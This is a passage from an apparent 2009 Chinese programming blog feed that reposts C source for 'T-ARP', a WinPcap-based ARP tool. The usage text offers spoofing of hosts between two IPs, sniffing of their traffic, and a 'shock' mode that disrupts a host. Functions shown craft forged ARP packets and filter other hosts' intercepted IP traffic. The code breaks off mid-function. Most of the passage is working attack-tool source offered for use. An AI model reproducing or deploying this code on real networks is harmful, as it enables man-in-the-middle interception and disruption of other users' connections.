}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!strcmp(argv[1],"-r"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; opti=4;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usage();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getche();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }</p>
<p><br>&nbsp;&nbsp;&nbsp; firstip=ntohl(inet_addr(argv[2]));<br>&nbsp;&nbsp;&nbsp; secondip=ntohl(inet_addr(argv[3]));<br>&nbsp;&nbsp;&nbsp; total=secondip-firstip+1;</p>
<p>&nbsp;&nbsp;&nbsp; printf("\nLibarary Version: %s",PacketGetVersion());</p>
<p>&nbsp;&nbsp;&nbsp; adapterlength=sizeof(adaptername);</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; name1=adaptername;<br>&nbsp;&nbsp;&nbsp; name2=adaptername;<br>&nbsp;&nbsp;&nbsp; i=0;</p>
<p>&nbsp;&nbsp;&nbsp; while((*name1!='\0') || (*(name1-1)!='\0'))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(*name1=='\0')<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(adapterlist[i],name2,2*(name1-name2));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name2=name1+1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name1++;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; adapternum=i;<br>&nbsp;&nbsp;&nbsp; printf("\nAdapters Installed:\n");<br>&nbsp;&nbsp;&nbsp; for(i=0;i&lt;adapternum;i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wprintf(L"%d - %s\n",i+1,adapterlist[i]);</p>
<p>&nbsp;&nbsp;&nbsp; do<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nSelect the number of the adapter to open: ");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d",&amp;open);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(open&gt;=1 &amp;&amp; open&lt;=adapternum)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; }while(open&lt;1 || open&gt;adapternum);</p>
<p>&nbsp;&nbsp;&nbsp; lpadapter=PacketOpenAdapter(adapterlist[open-1]);</p>
<p>&nbsp;&nbsp;&nbsp; if(!lpadapter || (lpadapter-&gt;hFile==INVALID_HANDLE_VALUE))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketOpenAdapter Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketGetNetType(lpadapter,&amp;ntype))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n\t\t*** Host Information ***\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; npflen=sizeof(ipbuff);&nbsp; <br>&nbsp;&nbsp;&nbsp; if(PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.Broadcast);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.SubnetMask);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin=*(struct sockaddr_in *)&amp;(ipbuff.IPAddress);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; myip=ntohl(sin.sin_addr.s_addr);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[MACAddress:]");<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if((lppackets=PacketAllocatePacket())==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);<br>&nbsp;&nbsp;&nbsp; Sleep(300);</p>
<p>&nbsp;&nbsp;&nbsp; if(getmine()) <br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketFreePacket(lppacketr);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; Sleep(300);</p>
<p>&nbsp;&nbsp;&nbsp; if((opti==1) || (opti==2))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(i=0;i&lt;total;i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(30);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(1000);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else if((opti==3) || (opti==4)) <br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(300);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(sthread);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; WaitForSingleObject(sthread,INFINITE); <br>&nbsp;&nbsp;&nbsp; CloseHandle(sthread);<br>&nbsp;&nbsp;&nbsp; CloseHandle(rthread);</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketGetStats(lpadapter,&amp;stat)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to get the adapter stat\n");<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp; PacketFreePacket(lppacketr);</p>
<p>&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>} </p>
<p>&#160;</p>
<p>Trackback: <a href="http://tb.blog.csdn.net/TrackBack.aspx?PostId=208891"><u><font color=#0000ff>http://tb.blog.csdn.net/TrackBack.aspx?PostId=208891</font></u></a></p>
<p>&#160;</p>
<p>&#160;</p>
</font>
<img src ="http://www.cppblog.com/binghuo/aggbug/76070.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:07 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具二(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:06:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76069.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76069.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76069.html</trackback:ping><description><![CDATA[<p><font size=2>五) T-ARP源代码</font></p>
<p><font size=2>#include &lt;packet32.h&gt;<br>#include &lt;ntddndis.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;conio.h&gt;</font></p>
<p><font size=2>#pragma comment(lib,"ws2_32")<br>#pragma comment(lib,"packet")</font></p>
<p><font size=2>#define ETH_IP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x0800<br>#define ETH_ARP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x0806<br>#define ARP_REQUEST&nbsp; 0x0001<br>#define ARP_REPLY&nbsp;&nbsp;&nbsp; 0x0002<br>#define ARP_HARDWARE 0x0001<br>#define max_num_adapter&nbsp; 10</font></p>
<p><font size=2>#pragma pack(push,1)</font></p>
<p><font size=2>typedef struct ethdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; eh_dst[6];<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; eh_src[6];<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; eh_type;<br>}ETHDR,*PETHDR;</font></p>
<p><font size=2>typedef struct arphdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_hdr;<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_pro;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_hln;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_pln;<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_opt;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_sha[6];<br>&nbsp;&nbsp;&nbsp; unsigned long&nbsp;&nbsp; arp_spa;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_tha[6];<br>&nbsp;&nbsp;&nbsp; unsigned long&nbsp;&nbsp; arp_tpa;<br>}ARPHDR,*PARPHDR;</font></p>
<p><font size=2>typedef struct iphdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; h_lenver;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; tos;<br>&nbsp;&nbsp;&nbsp; unsigned short total_len;<br>&nbsp;&nbsp;&nbsp; unsigned short ident;<br>&nbsp;&nbsp;&nbsp; unsigned short frag_and_flags;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; ttl;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; proto;<br>&nbsp;&nbsp;&nbsp; unsigned short checksum;<br>&nbsp;&nbsp;&nbsp; unsigned int&nbsp;&nbsp; sourceip;<br>&nbsp;&nbsp;&nbsp; unsigned int&nbsp;&nbsp; destip;<br>}IPHDR,*PIPHDR;</font></p>
<p><font size=2>#pragma pack(push)</font></p>
<p><font size=2>LPADAPTER lpadapter=0;<br>LPPACKET&nbsp; lppacketr,lppackets;<br>ULONG&nbsp;&nbsp;&nbsp;&nbsp; myip,firstip,secondip;<br>UCHAR&nbsp;&nbsp;&nbsp;&nbsp; mmac[6]={0},fmac[6]={0},smac[6]={0};<br>BOOL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm=FALSE,fm=FALSE,sm=FALSE; <br>FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *fp; <br>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adapterlist[max_num_adapter][1024];<br>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msg[50];<br>int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; num=0;</font></p>
<p><font size=2>void start()<br>{<br>&nbsp;&nbsp;&nbsp; printf("T-ARP --- ARP Tools, by TOo2y(&#242;1&#233;?), 11-9-2002\n");<br>&nbsp;&nbsp;&nbsp; printf("Homepage: <a href="http://www.safechina.net/n"><u><font color=#0000ff>www.safechina.net\n</font></u></a>");<br>&nbsp;&nbsp;&nbsp; printf("E-mail: <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#84;&#79;&#111;&#50;&#121;&#64;&#115;&#97;&#102;&#101;&#99;&#104;&#105;&#110;&#97;&#46;&#110;&#101;&#116;&#92;&#110;"><u><font color=#0000ff>TOo2y@safechina.net\n</font></u></a>");<br>&nbsp;&nbsp;&nbsp; return ;<br>}</font></p>
<p><font size=2>void usage()<br>{<br>&nbsp;&nbsp;&nbsp; printf("\nUsage: T-ARP&nbsp; [-m|-a|-s|-r]&nbsp; firstip&nbsp; secondip&nbsp; \n\n");<br>&nbsp;&nbsp;&nbsp; printf("Option:\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -m&nbsp; mac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get the mac address from firstip to secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -a&nbsp; antisniff&nbsp; Get the sniffing host from firstip to secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -s&nbsp; spoof&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&gt; Spoof the host between firstip and secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sniff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&gt; Sniff if firstip == secondip == your own ip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shock&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&gt; Shock if firstip == secondip != your own ip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -r&nbsp; reset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reset the spoofed host work normally\n\n");<br>&nbsp;&nbsp;&nbsp; printf("Attention:\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp; 1&gt; You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp; 2&gt; HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br>&nbsp;&nbsp;&nbsp; return ;<br>}</font></p>
<p><font size=2>int getmine()<br>{<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; k;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR arp;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; for(k=0;k&lt;6;k++)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[k]=0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_src[k]=0x82;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_sha[k]=0x82;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tha[k]=0x00;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REQUEST);<br>&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(myip);<br>&nbsp;&nbsp;&nbsp; arp.arp_spa=inet_addr("112.112.112.112");</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</font></p>
<p><font size=2>void getdata(LPPACKET lp,int op) <br>{<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp; ulbytesreceived,off,tlen,ulen,ulLines;<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp; j,k;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; *eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR *arp;<br>&nbsp;&nbsp;&nbsp; PIPHDR ip;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; *buf,*pChar,*pLine,*base;<br>&nbsp;&nbsp;&nbsp; struct bpf_hdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *hdr;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in&nbsp; sin;</font></p>
<font size=2>
<p><br>&nbsp;&nbsp;&nbsp; ulbytesreceived=lp-&gt;ulBytesReceived;<br>&nbsp;&nbsp;&nbsp; buf=(char *)lp-&gt;Buffer;</p>
<p>&nbsp;&nbsp;&nbsp; off=0;<br>&nbsp;&nbsp;&nbsp; while(off&lt;ulbytesreceived)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(kbhit())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hdr=(struct bpf_hdr *)(buf+off);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; off+=hdr-&gt;bh_hdrlen;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar=(char *)(buf+off);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base=pChar;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth=(PETHDR)pChar;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp=(PARPHDR)(pChar+sizeof(ETHDR)); </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(eth-&gt;eh_type==htons(ETH_IP)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip=(PIPHDR)(pChar+sizeof(ETHDR));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fm &amp;&amp; sm &amp;&amp; (op==3))&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((((ip-&gt;sourceip!=htonl(myip)) &amp;&amp; (ip-&gt;destip!=htonl(myip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; !strcmp((char *)eth-&gt;eh_dst,(char *)mmac)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; ((ip-&gt;sourceip==htonl(firstip)) || (ip-&gt;destip==htonl(firstip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || (ip-&gt;sourceip==htonl(secondip)) || (ip-&gt;destip==htonl(secondip))))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || ((firstip==myip) &amp;&amp; (secondip==myip)))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(msg,0,sizeof(msg));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=ip-&gt;sourceip;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[IP:]%16s ---&gt; [IP:]",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(msg,inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(msg+15," ---&gt; ");</p>
